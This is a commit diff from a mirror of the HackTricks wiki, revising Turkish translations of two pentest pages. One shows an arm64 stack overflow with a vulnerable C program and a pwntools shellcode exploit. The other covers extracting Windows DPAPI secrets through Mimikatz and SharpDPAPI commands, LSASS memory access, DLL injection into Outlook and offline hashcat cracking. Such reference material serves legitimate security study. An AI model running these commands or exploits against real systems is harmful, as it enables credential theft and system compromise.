mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/stac
This commit is contained in:
		
							parent
							
								
									60be2aee38
								
							
						
					
					
						commit
						985eb5fa86
					
				@ -2,14 +2,15 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
arm64'e giriş için şunu bulun:
 | 
			
		||||
 | 
			
		||||
arm64 hakkında bir giriş için şuraya bakın:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Code
 | 
			
		||||
## Linux
 | 
			
		||||
 | 
			
		||||
### Code
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <unistd.h>
 | 
			
		||||
@ -24,19 +25,19 @@ vulnerable_function();
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
PIE, canary ve nx olmadan derleyin:
 | 
			
		||||
pie, canary ve nx olmadan derleyin:
 | 
			
		||||
```bash
 | 
			
		||||
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
 | 
			
		||||
```
 | 
			
		||||
## No ASLR & No canary - Stack Overflow
 | 
			
		||||
### ASLR yok & canary yok - Stack Overflow
 | 
			
		||||
 | 
			
		||||
ASLR'yi durdurmak için:
 | 
			
		||||
ASLR'yi durdurmak için çalıştırın:
 | 
			
		||||
```bash
 | 
			
		||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
 | 
			
		||||
```
 | 
			
		||||
[**bof ofsetini bulmak için bu bağlantıya bakın**](../ret2win/ret2win-arm64.md#finding-the-offset).
 | 
			
		||||
Bulmak için [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
 | 
			
		||||
 | 
			
		||||
Sömürü:
 | 
			
		||||
Exploit:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -67,8 +68,21 @@ p.send(payload)
 | 
			
		||||
# Drop to an interactive session
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Burada bulunması "karmaşık" olan tek şey çağrılacak olan yığın adresidir. Benim durumumda, gdb kullanarak bulunan adresle istismarı oluşturdum, ancak daha sonra bunu istismar ederken çalışmadı (çünkü yığın adresi biraz değişti).
 | 
			
		||||
Tek "karmaşık" olan şey burada çağrılacak stack üzerindeki adres olurdu. Benim durumumda exploit'i gdb ile bulduğum adresi kullanarak oluşturdum, ama exploit yapınca işe yaramadı (çünkü stack adresi biraz değişmişti).
 | 
			
		||||
 | 
			
		||||
Oluşturulan **`core` file**'ı (`gdb ./bog ./core`) açıp shellcode'un başlangıç adresinin gerçek değerini kontrol ettim.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## macOS
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> macOS'ta NX'i devre dışı bırakmak mümkün değil çünkü arm64'te bu mod donanım seviyesinde uygulanıyor, dolayısıyla devre dışı bırakılamıyor; bu yüzden macOS'ta stack'te shellcode içeren örnekler bulamayacaksınız.
 | 
			
		||||
 | 
			
		||||
macOS için bir ret2win örneğine bakın:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../ret2win/ret2win-arm64.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Oluşturulan **`core` dosyasını** açtım (`gdb ./bog ./core`) ve shellcode'un başlangıcının gerçek adresini kontrol ettim.
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -1,38 +1,38 @@
 | 
			
		||||
# DPAPI - Parolaların Çıkarılması
 | 
			
		||||
# DPAPI - Extracting Passwords
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## DPAPI nedir
 | 
			
		||||
## DPAPI Nedir
 | 
			
		||||
 | 
			
		||||
The Data Protection API (DPAPI) öncelikle Windows işletim sistemi içinde **asimetrik özel anahtarların simetrik şifrelenmesi** için kullanılır; burada kullanıcı veya sistem sırları önemli bir entropi kaynağı olarak kullanılır. Bu yaklaşım, geliştiricilerin şifreleme anahtarının korunmasını kendilerinin yönetmesine gerek kalmadan, kullanıcının oturum açma sırlarından türetilen bir anahtar veya sistem şifrelemesi için sistemin domain kimlik doğrulama sırlarından türetilen bir anahtar kullanarak veriyi şifrelemelerini sağlar.
 | 
			
		||||
The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the **symmetric encryption of asymmetric private keys**, leveraging either user or system secrets as a significant source of entropy. This approach simplifies encryption for developers by enabling them to encrypt data using a key derived from the user's logon secrets or, for system encryption, the system's domain authentication secrets, thus obviating the need for developers to manage the protection of the encryption key themselves.
 | 
			
		||||
 | 
			
		||||
DPAPI kullanmanın en yaygın yolu, uygulamaların mevcut oturumdaki process ile güvenli şekilde veri şifrelemesine ve şifresini çözmesine olanak tanıyan **`CryptProtectData` ve `CryptUnprotectData`** fonksiyonlarıdır. Bu, şifrelenmiş verinin yalnızca onu şifreleyen aynı kullanıcı veya sistem tarafından çözülebileceği anlamına gelir.
 | 
			
		||||
The most common way to use DPAPI is through the **`CryptProtectData` and `CryptUnprotectData`** functions, which allow applications to encrypt and decrypt data securely with the session of the process that is currently logged on. This means that the encrypted data can only be decrypted by the same user or system that encrypted it.
 | 
			
		||||
 | 
			
		||||
Ayrıca, bu fonksiyonlar şifreleme ve şifresini çözme sırasında da kullanılacak bir **`entropy` parametresi** kabul eder; bu nedenle, bu parametre kullanılarak şifrelenmiş bir şeyi çözmek için, şifreleme sırasında kullanılan aynı entropy değerini sağlamalısınız.
 | 
			
		||||
Moreover, these functions accepts also an **`entropy` parameter** which will also be used during encryption and decryption, therefore, in order to decrypt something encrypted using this parameter, you must provide the same entropy value that was used during encryption.
 | 
			
		||||
 | 
			
		||||
### Kullanıcı anahtarlarının oluşturulması
 | 
			
		||||
### Kullanıcı anahtarının oluşturulması
 | 
			
		||||
 | 
			
		||||
DPAPI, her kullanıcı için kimlik bilgilerine dayalı benzersiz bir anahtar (buna **`pre-key`** denir) oluşturur. Bu anahtar kullanıcının parolasından ve diğer faktörlerden türetilir ve algoritma kullanıcı türüne bağlıdır ancak genellikle bir SHA1 ile sonuçlanır. Örneğin, domain kullanıcıları için **kullanıcının NTLM hash'ine bağlıdır**.
 | 
			
		||||
The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the NTLM hash of the user**.
 | 
			
		||||
 | 
			
		||||
Bu özellikle ilginçtir çünkü bir saldırgan kullanıcının parola hash'ini elde edebilirse:
 | 
			
		||||
This is specially interesting because if an attacker can obtain the user's password hash, they can:
 | 
			
		||||
 | 
			
		||||
- O kullanıcının anahtarıyla **DPAPI kullanılarak şifrelenmiş herhangi bir veriyi** API'ye gerek duymadan çözebilir
 | 
			
		||||
- Geçerli DPAPI anahtarını üretmeye çalışarak parolayı çevrimdışı **kırmayı** deneyebilir
 | 
			
		||||
- **Decrypt any data that was encrypted using DPAPI** with that user's key without needing to contact any API
 | 
			
		||||
- Try to **crack the password** offline trying to generate the valid DPAPI key
 | 
			
		||||
 | 
			
		||||
Ayrıca, bir kullanıcı DPAPI kullanarak veri şifrelediğinde her seferinde yeni bir **master key** oluşturulur. Bu master key aslında veriyi şifrelemek için kullanılır. Her master key, onu tanımlayan bir **GUID** ile verilir.
 | 
			
		||||
Moreover, every time some data is encrypted by a user using DPAPI, a new **master key** is generated. This master key is the one actually used to encrypt data. Each master key is given with a **GUID** (Globally Unique Identifier) that identifies it.
 | 
			
		||||
 | 
			
		||||
Master key'ler **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** dizininde saklanır; burada `{SID}` o kullanıcının Security Identifier'ıdır. Master key, kullanıcının **`pre-key`** ile ve kurtarma için bir **domain backup key** ile şifrelenmiş olarak saklanır (yani aynı anahtar iki farklı yol ile 2 kez şifrelenmiş olarak saklanır).
 | 
			
		||||
The master keys are stored in the **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** directory, where `{SID}` is the Security Identifier of that user. The master key is stored encrypted by the user's **`pre-key`** and also by a **domain backup key** for recovery (so the same key is stored encrypted 2 times by 2 different pass).
 | 
			
		||||
 | 
			
		||||
Dikkat edin ki master key'i şifrelemek için kullanılan **domain key** domain controller'larda bulunur ve asla değişmez; bu yüzden eğer bir saldırgan domain controller'a erişim sağlarsa domain backup key'i alıp domain içindeki tüm kullanıcıların master key'lerini çözebilir.
 | 
			
		||||
Note that the **domain key used to encrypt the master key is in the domain controllers and never changes**, so if an attacker has access to the domain controller, they can retrieve the domain backup key and decrypt the master keys of all users in the domain.
 | 
			
		||||
 | 
			
		||||
Şifrelenmiş blob'lar, başlıklarında veriyi şifrelemek için kullanılan **master key'in GUID**'ini içerir.
 | 
			
		||||
The encrypted blobs contain the **GUID of the master key** that was used to encrypt the data inside its headers.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> DPAPI ile şifrelenmiş blob'lar **`01 00 00 00`** ile başlar
 | 
			
		||||
 | 
			
		||||
Find master keys:
 | 
			
		||||
Master key'leri bulun:
 | 
			
		||||
```bash
 | 
			
		||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
 | 
			
		||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
 | 
			
		||||
@ -41,13 +41,13 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
 | 
			
		||||
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
 | 
			
		||||
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
 | 
			
		||||
```
 | 
			
		||||
Bu, bir kullanıcının birkaç Master Key'inin nasıl görüneceğine dair bir örnektir:
 | 
			
		||||
This is what a bunch of Master Keys of a user will looks like:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
### Makine/Sistem anahtar oluşturma
 | 
			
		||||
### Machine/System key generation
 | 
			
		||||
 | 
			
		||||
Bu, makinenin verileri şifrelemek için kullandığı anahtardır. Bu, **DPAPI_SYSTEM LSA secret**'e dayanır; yalnızca SYSTEM kullanıcısının erişebildiği özel bir anahtardır. Bu anahtar, makine düzeyindeki kimlik bilgileri veya sistem genelindeki gizli veriler gibi sisteme ait verilerin erişilebilir olması gerektiği durumlarda verileri şifrelemek için kullanılır.
 | 
			
		||||
This is key used for the machine to encrypt data. It's based on the **DPAPI_SYSTEM LSA secret**, which is a special key that only the SYSTEM user can access. This key is used to encrypt data that needs to be accessible by the system itself, such as machine-level credentials or system-wide secrets.
 | 
			
		||||
 | 
			
		||||
Note that these keys **don't have a domain backup** so they are only accesisble locally:
 | 
			
		||||
 | 
			
		||||
@ -55,25 +55,25 @@ Note that these keys **don't have a domain backup** so they are only accesisble
 | 
			
		||||
- The secret is stored inside the registry, so an administrator could **modify the DACL permissions to access it**. The registry path is: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
### DPAPI tarafından korunan veriler
 | 
			
		||||
### Protected Data by DPAPI
 | 
			
		||||
 | 
			
		||||
DPAPI tarafından korunan kişisel veriler arasında şunlar bulunur:
 | 
			
		||||
Among the personal data protected by DPAPI are:
 | 
			
		||||
 | 
			
		||||
- Windows creds
 | 
			
		||||
- Internet Explorer ve Google Chrome'un parolaları ve otomatik tamamlama verileri
 | 
			
		||||
- Outlook ve Windows Mail gibi uygulamalar için e-posta ve dahili FTP hesap parolaları
 | 
			
		||||
- Paylaşılan klasörler, kaynaklar, kablosuz ağlar ve Windows Vault için parolalar; şifreleme anahtarları dahil
 | 
			
		||||
- Uzak masaüstü bağlantıları, .NET Passport parolaları ve çeşitli şifreleme/doğrulama amaçları için özel anahtarlar
 | 
			
		||||
- Credential Manager tarafından yönetilen ağ parolaları ve CryptProtectData kullanan uygulamalardaki kişisel veriler; örn. Skype, MSN messenger ve diğerleri
 | 
			
		||||
- Kayıt defteri içindeki şifrelenmiş blob'lar
 | 
			
		||||
- Internet Explorer and Google Chrome's passwords and auto-completion data
 | 
			
		||||
- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail
 | 
			
		||||
- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys
 | 
			
		||||
- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes
 | 
			
		||||
- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more
 | 
			
		||||
- Encrypted blobs inside the register
 | 
			
		||||
- ...
 | 
			
		||||
 | 
			
		||||
Sistem tarafından korunan veriler şunları içerir:
 | 
			
		||||
- Wi‑Fi parolaları
 | 
			
		||||
- Zamanlanmış görev parolaları
 | 
			
		||||
System protected data includes:
 | 
			
		||||
- Wifi passwords
 | 
			
		||||
- Scheduled task passwords
 | 
			
		||||
- ...
 | 
			
		||||
 | 
			
		||||
### Master key çıkarma seçenekleri
 | 
			
		||||
### Master key extraction options
 | 
			
		||||
 | 
			
		||||
- If the user has domain admin privileges, they can access the **domain backup key** to decrypt all user master keys in the domain:
 | 
			
		||||
```bash
 | 
			
		||||
@ -83,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
 | 
			
		||||
# SharpDPAPI
 | 
			
		||||
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
 | 
			
		||||
```
 | 
			
		||||
- Yerel yönetici ayrıcalıklarıyla, bağlı tüm kullanıcıların DPAPI master anahtarlarını ve SYSTEM anahtarını çıkarmak için **LSASS belleğine erişmek** mümkündür.
 | 
			
		||||
- Yerel yönetici ayrıcalıklarıyla, bağlı tüm kullanıcıların DPAPI master keys'lerini ve SYSTEM key'ini çıkarmak için **LSASS belleğine erişmek** mümkündür.
 | 
			
		||||
```bash
 | 
			
		||||
# Mimikatz
 | 
			
		||||
mimikatz sekurlsa::dpapi
 | 
			
		||||
```
 | 
			
		||||
- Eğer kullanıcı local admin privileges'e sahipse, **DPAPI_SYSTEM LSA secret**'e erişip machine master keys'i decrypt edebilirler:
 | 
			
		||||
- Eğer kullanıcının yerel yönetici ayrıcalıkları varsa, makine master anahtarlarını deşifre etmek için **DPAPI_SYSTEM LSA secret**'e erişebilir:
 | 
			
		||||
```bash
 | 
			
		||||
# Mimikatz
 | 
			
		||||
lsadump::secrets /system:DPAPI_SYSTEM /export
 | 
			
		||||
```
 | 
			
		||||
- Kullanıcının parolası veya NTLM hash'i biliniyorsa, **decrypt the master keys of the user directly**:
 | 
			
		||||
- Eğer kullanıcının password veya NTLM hash'i biliniyorsa, **decrypt the master keys of the user directly** yapabilirsiniz:
 | 
			
		||||
```bash
 | 
			
		||||
# Mimikatz
 | 
			
		||||
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
 | 
			
		||||
@ -101,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
 | 
			
		||||
# SharpDPAPI
 | 
			
		||||
SharpDPAPI.exe masterkeys /password:PASSWORD
 | 
			
		||||
```
 | 
			
		||||
- Eğer kullanıcı olarak bir oturum içindeyseniz, DC'den **backup key to decrypt the master keys using RPC** talep etmek mümkün. Eğer local admin iseniz ve kullanıcı oturum açmışsa, bunun için **steal his session token** kullanabilirsiniz:
 | 
			
		||||
- Eğer kullanıcı olarak bir oturum içindeyseniz, DC'den **backup key to decrypt the master keys using RPC** isteyebilirsiniz. Eğer local admin iseniz ve kullanıcı oturum açmışsa, bunun için **steal his session token** elde edebilirsiniz:
 | 
			
		||||
```bash
 | 
			
		||||
# Mimikatz
 | 
			
		||||
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
 | 
			
		||||
@ -109,7 +109,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
 | 
			
		||||
# SharpDPAPI
 | 
			
		||||
SharpDPAPI.exe masterkeys /rpc
 | 
			
		||||
```
 | 
			
		||||
## Vault'ları Listele
 | 
			
		||||
## Vault'ı Listele
 | 
			
		||||
```bash
 | 
			
		||||
# From cmd
 | 
			
		||||
vaultcmd /listcreds:"Windows Credentials" /all
 | 
			
		||||
@ -119,23 +119,23 @@ mimikatz vault::list
 | 
			
		||||
```
 | 
			
		||||
## DPAPI Şifrelenmiş Verilere Erişim
 | 
			
		||||
 | 
			
		||||
### DPAPI Şifrelenmiş Verileri Bulma
 | 
			
		||||
### DPAPI Şifrelenmiş verileri bulma
 | 
			
		||||
 | 
			
		||||
Kullanıcıların yaygın olarak **korunan dosyaları** şu konumlardadır:
 | 
			
		||||
Kullanıcıların yaygın olarak **korunan dosyaları** şunlardır:
 | 
			
		||||
 | 
			
		||||
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
 | 
			
		||||
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
 | 
			
		||||
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
 | 
			
		||||
- Ayrıca yukarıdaki yollarda `\Roaming\`'u `\Local\` ile değiştirmeyi de kontrol edin.
 | 
			
		||||
- Ayrıca yukarıdaki yollarda `\Roaming\` yerine `\Local\` değiştirmeyi de kontrol edin.
 | 
			
		||||
 | 
			
		||||
Keşif örnekleri:
 | 
			
		||||
Enumeration örnekleri:
 | 
			
		||||
```bash
 | 
			
		||||
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
 | 
			
		||||
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 | 
			
		||||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
 | 
			
		||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 | 
			
		||||
```
 | 
			
		||||
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) dosya sistemi, registry ve B64 blob'larında DPAPI ile şifrelenmiş blob'ları bulabilir:
 | 
			
		||||
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) dosya sisteminde, kayıt defterinde ve B64 blob'larında DPAPI ile şifrelenmiş blob'ları bulabilir:
 | 
			
		||||
```bash
 | 
			
		||||
# Search blobs in the registry
 | 
			
		||||
search /type:registry [/path:HKLM] # Search complete registry by default
 | 
			
		||||
@ -150,11 +150,11 @@ search /type:file /path:C:\path\to\file
 | 
			
		||||
# Search a blob inside B64 encoded data
 | 
			
		||||
search /type:base64 [/base:<base64 string>]
 | 
			
		||||
```
 | 
			
		||||
Unutmayın ki [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (from the same repo) DPAPI kullanarak cookies gibi hassas verilerin şifresini çözmek için kullanılabilir.
 | 
			
		||||
Şunu unutmayın: [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (aynı repo'dan) DPAPI kullanılarak cookies gibi hassas verileri decrypt etmek için kullanılabilir.
 | 
			
		||||
 | 
			
		||||
### Erişim anahtarları ve veriler
 | 
			
		||||
 | 
			
		||||
- **Use SharpDPAPI** mevcut oturumdaki DPAPI ile şifrelenmiş dosyalardan kimlik bilgilerini almak için kullanın:
 | 
			
		||||
- **SharpDPAPI'yi kullanın** mevcut oturumdan DPAPI ile şifrelenmiş dosyalardan credentials almak için:
 | 
			
		||||
```bash
 | 
			
		||||
# Decrypt user data
 | 
			
		||||
## Note that 'triage' is like running credentials, vaults, rdg and certificates
 | 
			
		||||
@ -163,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
 | 
			
		||||
# Decrypt machine data
 | 
			
		||||
SharpDPAPI.exe machinetriage
 | 
			
		||||
```
 | 
			
		||||
- **Kimlik bilgileri hakkında bilgi edinin**; örneğin şifrelenmiş veriler ve guidMasterKey.
 | 
			
		||||
- **Credentials ile ilgili bilgileri al**: şifrelenmiş veriler ve guidMasterKey gibi.
 | 
			
		||||
```bash
 | 
			
		||||
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
 | 
			
		||||
 | 
			
		||||
@ -173,7 +173,7 @@ guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
 | 
			
		||||
pbData             : b8f619[...snip...]b493fe
 | 
			
		||||
[..]
 | 
			
		||||
```
 | 
			
		||||
- **Access masterkeys**:
 | 
			
		||||
- **Masterkeys'e erişim**:
 | 
			
		||||
 | 
			
		||||
RPC kullanarak **domain backup key** talep eden bir kullanıcının masterkey'ini deşifre edin:
 | 
			
		||||
```bash
 | 
			
		||||
@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
 | 
			
		||||
# SharpDPAPI
 | 
			
		||||
SharpDPAPI.exe masterkeys /rpc
 | 
			
		||||
```
 | 
			
		||||
The **SharpDPAPI** aracı ayrıca masterkey deşifrelemesi için şu argümanları destekler ( `/rpc` ile domain'in yedek anahtarını almak, `/password` ile düz metin parola kullanmak veya `/pvk` ile bir DPAPI domain özel anahtar dosyası belirtmek mümkün olduğuna dikkat edin...):
 | 
			
		||||
**SharpDPAPI** aracı ayrıca masterkey şifre çözümü için şu argümanları destekler (domain yedek anahtarını almak için `/rpc` kullanmak, düz metin bir parola kullanmak için `/password`, veya bir DPAPI domain özel anahtar dosyası belirtmek için `/pvk` kullanmak mümkün...):
 | 
			
		||||
```
 | 
			
		||||
/target:FILE/folder     -   triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
 | 
			
		||||
/pvk:BASE64...          -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
 | 
			
		||||
@ -195,7 +195,7 @@ The **SharpDPAPI** aracı ayrıca masterkey deşifrelemesi için şu argümanlar
 | 
			
		||||
/server:SERVER          -   triage a remote server, assuming admin access
 | 
			
		||||
/hashes                 -   output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
 | 
			
		||||
```
 | 
			
		||||
- **masterkey kullanarak veriyi şifre çözme**:
 | 
			
		||||
- **Bir masterkey kullanarak verileri çözme**:
 | 
			
		||||
```bash
 | 
			
		||||
# Mimikatz
 | 
			
		||||
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
 | 
			
		||||
@ -203,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
 | 
			
		||||
# SharpDPAPI
 | 
			
		||||
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
 | 
			
		||||
```
 | 
			
		||||
The **SharpDPAPI** aracı ayrıca `credentials|vaults|rdg|keepass|triage|blob|ps` şifre çözme için şu argümanları destekler ( `/rpc` ile etki alanının yedekleme anahtarını almak, `/password` ile düz metin parola kullanmak, `/pvk` ile bir DPAPI domain özel anahtar dosyası belirtmek, `/unprotect` ile mevcut kullanıcının oturumunu kullanmak mümkün olduğuna dikkat edin...):
 | 
			
		||||
**SharpDPAPI** aracı ayrıca `credentials|vaults|rdg|keepass|triage|blob|ps` şifre çözme için şu argümanları destekler (örneğin `/rpc` ile domain'in yedek anahtarını almak, `/password` ile düz metin parola kullanmak, `/pvk` ile bir DPAPI domain private key dosyası belirtmek, `/unprotect` ile mevcut kullanıcının oturumunu kullanmak mümkündür...):
 | 
			
		||||
```
 | 
			
		||||
Decryption:
 | 
			
		||||
/unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
 | 
			
		||||
@ -222,7 +222,7 @@ Targeting:
 | 
			
		||||
Note: must use with /pvk:KEY or /password:X
 | 
			
		||||
Note: not applicable to 'blob' or 'ps' commands
 | 
			
		||||
```
 | 
			
		||||
- Bazı verileri **geçerli kullanıcı oturumu** kullanarak şifre çözme:
 | 
			
		||||
- Bazı verileri **current user session** kullanarak şifre çöz:
 | 
			
		||||
```bash
 | 
			
		||||
# Mimikatz
 | 
			
		||||
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
 | 
			
		||||
@ -231,11 +231,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
 | 
			
		||||
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
### Opsiyonel Entropy'nin İşlenmesi ("Third-party entropy")
 | 
			
		||||
### Opsiyonel Entropi ile Başetme ("Third-party entropy")
 | 
			
		||||
 | 
			
		||||
Bazı uygulamalar `CryptProtectData`'e ek bir **entropy** değeri iletir. Bu değer olmadan, doğru masterkey bilinse bile blob çözülemez. Bu şekilde korunan kimlik bilgilerini hedeflerken **entropy**'nin elde edilmesi bu nedenle hayati önem taşır (ör. Microsoft Outlook, bazı VPN istemcileri).
 | 
			
		||||
Bazı uygulamalar `CryptProtectData`'ya ek bir **entropi** değeri geçirir. Bu değer olmadan blob deşifre edilemez, doğru masterkey bilinse bile. Bu şekilde korunan kimlik bilgilerini hedeflerken entropiyi elde etmek bu nedenle esastır (örn. Microsoft Outlook, bazı VPN istemcileri).
 | 
			
		||||
 | 
			
		||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) hedef süreç içindeki DPAPI fonksiyonlarını hooklayan bir user-mode DLL'dir ve sağlanan her türlü opsiyonel **entropy**'yi şeffaf şekilde kaydeder. `outlook.exe` veya `vpnclient.exe` gibi süreçlere karşı **DLL-injection** modunda EntropyCapture çalıştırmak, her entropy buffer'ını çağıran süreç ve blob ile eşleştiren bir dosya oluşturur. Yakalanan **entropy** daha sonra veriyi çözmek için **SharpDPAPI** (`/entropy:`) veya **Mimikatz** (`/entropy:<file>`) ile sağlanabilir.
 | 
			
		||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) hedef süreç içindeki DPAPI işlevlerine hook yapan bir user-mode DLL'dir ve sağlanan herhangi bir opsiyonel entropiyi şeffaf biçimde kaydeder. EntropyCapture'ı **DLL-injection** modunda `outlook.exe` veya `vpnclient.exe` gibi süreçlere karşı çalıştırmak, her entropi tamponunu çağıran süreç ve blob ile eşleyen bir dosya çıktısı üretir. Yakalanan entropi daha sonra veriyi deşifre etmek için **SharpDPAPI** (`/entropy:`) veya **Mimikatz** (`/entropy:<file>`)'e sağlanabilir.
 | 
			
		||||
```powershell
 | 
			
		||||
# Inject EntropyCapture into the current user's Outlook
 | 
			
		||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
 | 
			
		||||
@ -243,11 +243,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
 | 
			
		||||
# Later decrypt a credential blob that required entropy
 | 
			
		||||
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
 | 
			
		||||
```
 | 
			
		||||
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
 | 
			
		||||
### Masterkey'leri çevrimdışı kırma (Hashcat & DPAPISnoop)
 | 
			
		||||
 | 
			
		||||
Microsoft, Windows 10 v1607 (2016) ile birlikte **context 3** masterkey formatını tanıttı.
 | 
			
		||||
 | 
			
		||||
`hashcat` v6.2.6 (Aralık 2023) hash-modları **22100** (DPAPI masterkey v1 context ), **22101** (context 1) and **22102** (context 3) ekledi; bunlar masterkey dosyasından kullanıcı şifrelerinin doğrudan GPU hızlandırmalı kırılmasına izin veriyor. Bu nedenle saldırganlar hedef sistemle etkileşime girmeden word-list veya brute-force saldırıları gerçekleştirebilir.
 | 
			
		||||
Microsoft, Windows 10 v1607 (2016) ile başlayan sürümlerde **context 3** masterkey formatını tanıttı. `hashcat` v6.2.6 (December 2023) hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) ve **22102** (context 3) ekledi; bu, masterkey dosyasından doğrudan kullanıcı parolalarının GPU hızlandırmalı kırılmasına izin veriyor. Bu nedenle saldırganlar hedef sistemle etkileşime girmeden word-list veya brute-force saldırıları gerçekleştirebilir.
 | 
			
		||||
 | 
			
		||||
`DPAPISnoop` (2024) süreci otomatikleştirir:
 | 
			
		||||
```bash
 | 
			
		||||
@ -255,11 +253,11 @@ Microsoft, Windows 10 v1607 (2016) ile birlikte **context 3** masterkey formatı
 | 
			
		||||
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
 | 
			
		||||
hashcat -m 22102 bob.hc wordlist.txt -O -w4
 | 
			
		||||
```
 | 
			
		||||
Araç ayrıca Credential ve Vault blob'larını ayrıştırabilir, kırılmış anahtarlarla şifrelerini çözebilir ve düz metin parolaları dışa aktarabilir.
 | 
			
		||||
Araç ayrıca Credential and Vault blobs'larını ayrıştırabilir, cracked keys ile bunları çözerek cleartext passwords olarak dışa aktarabilir.
 | 
			
		||||
 | 
			
		||||
### Diğer makine verilerine erişim
 | 
			
		||||
### Diğer makinedeki verilere erişim
 | 
			
		||||
 | 
			
		||||
